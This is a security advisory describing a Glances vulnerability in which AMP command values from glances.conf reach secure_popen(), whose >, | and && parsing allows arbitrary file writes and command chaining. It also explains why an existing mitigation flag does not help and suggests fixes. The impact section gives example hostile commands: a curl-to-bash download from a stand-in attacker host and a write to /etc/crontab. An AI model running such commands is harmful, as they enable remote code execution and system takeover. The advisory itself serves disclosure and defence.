GHSA-3vwc-qwhc-3mj7 Glances has arbitrary file write and command execution via `secure_popen` redirection and chaining operators in AMP command configuration
SummaryThe `secure_popen()` function in `glances/secure.py` interprets `>` (file redirection), `|` (pipe), and `&&` (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command.When Application Monitoring Process (AMP) modules load their `command` or `service_cmd` configuration values from `glances.conf`, those values are passed directly to `secure_popen()` with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via `>`), chain arbitrary commands (via `&&`), or pipe command output to arbitrary programs (via `|`).Crucially, this vulnerability is **not mitigated** by the `--disable-config-exec` flag that was introduced to address CVE-2026-33641. That flag only disables backtick command execution in `config.get_value()`; it does not affect the `secure_popen()` function's interpretation of shell-like operators.Details**Affected code path 1 — Default AMP (`glances/amps/default/__init__.py:69`)**The `command` config value is loaded from `[amp_<name>]` sections via `GlancesAmp.load_config()` (`glances/amps/amp.py:81`):**Affected code path 2 — SystemV AMP (`glances/amps/systemv/__init__.py:60`)**The `service_cmd` config value is loaded from `[amp_systemv]` sections via the same `GlancesAmp.load_config()` method.**Sink — `secure_popen()` (`glances/secure.py:33-77`)**The function explicitly parses:`>` for file redirection (line 39): `cmd.split('>')` — the path after `>` is used directly in `open(stdout_redirect, "w")` (line 71) with **no path validation**.`|` for command piping (line 51): `cmd.split('|')` — each segment is executed as a separate `Popen` with stdout piped to the next.`&&` for command chaining (line 27 in `secure_popen`): `cmd.split('&&')` — each segment is executed sequentially.None of these operators are sanitized or restricted when loading AMP configuration values.**Why `--disable-config-exec` does not help:**The `--disable-config-exec` flag (introduced for CVE-2026-33641) only prevents `system_exec()` from running backtick-embedded commands in `config.get_value()`. It does not affect how the resulting string value is processed by `secure_popen()`. A command value like `echo data > /etc/crontab` contains no backticks and passes through `get_value()` unchanged, then `secure_popen()` interprets the `>` operator and writes to the arbitrary path.PoC**Clean-checkout recipe:**Create a test configuration file:Run a Python script that simulates the AMP command execution path:**Expected vulnerable output:****Negative/control case (demonstrating `--disable-config-exec` only blocks backticks):****Cleanup:**ImpactAn attacker who can modify `glances.conf` (e.g., through a separate file-write vulnerability, a misconfigured shared filesystem, a configuration management system, or a container volume mount) can:**Write arbitrary content to arbitrary files** via the `>` operator — e.g., overwriting `/etc/crontab`, `~/.ssh/authorized_keys`, or any file writable by the Glances process user.**Execute arbitrary commands** via the `&&` and `|` operators — e.g., `echo x && curl http://attacker.com/shell.sh | bash`.**Exfiltrate data** via the `|` operator piping command output to network utilities.The existing `--disable-config-exec` mitigation for CVE-2026-33641 does not protect against this vulnerability because it operates at a different layer (`config.get_value()` backtick processing vs. `secure_popen()` operator interpretation).Suggested remediation**Remove file redirection support from `secure_popen()`** unless explicitly required. The `>` operator in `__secure_popen()` (lines 39-45, 69-72) writes to arbitrary paths. Consider removing this feature or restricting output paths to a safe directory (e.g., a configured output directory with path traversal protection).**Sanitize AMP command values** before passing them to `secure_popen()`. Apply the same sanitization used in `actions.py:_sanitize_mustache_dict()` to strip `&&`, `|`, `>>`, and `>` from AMP command and service_cmd config values, or refuse to execute commands containing these operators.**Consider replacing `secure_popen()` with `subprocess.run(shell=False)`** using explicit argument arrays. The `secure_popen()` function reimplements shell-like operator parsing (`&&`, `|`, `>`) which is inherently risky. Standard `subprocess.run()` with `shell=False` and an explicit argument list avoids this class of vulnerability entirely.**Add a regression test** that verifies AMP commands cannot contain file redirection or command chaining operators.CreditsThai Son Dinh from VinSOC Labs (R&D)Nguyen Huy Vu Dung from VinSOC Labs (AppSec)
CVSS v3.1 score: 7.8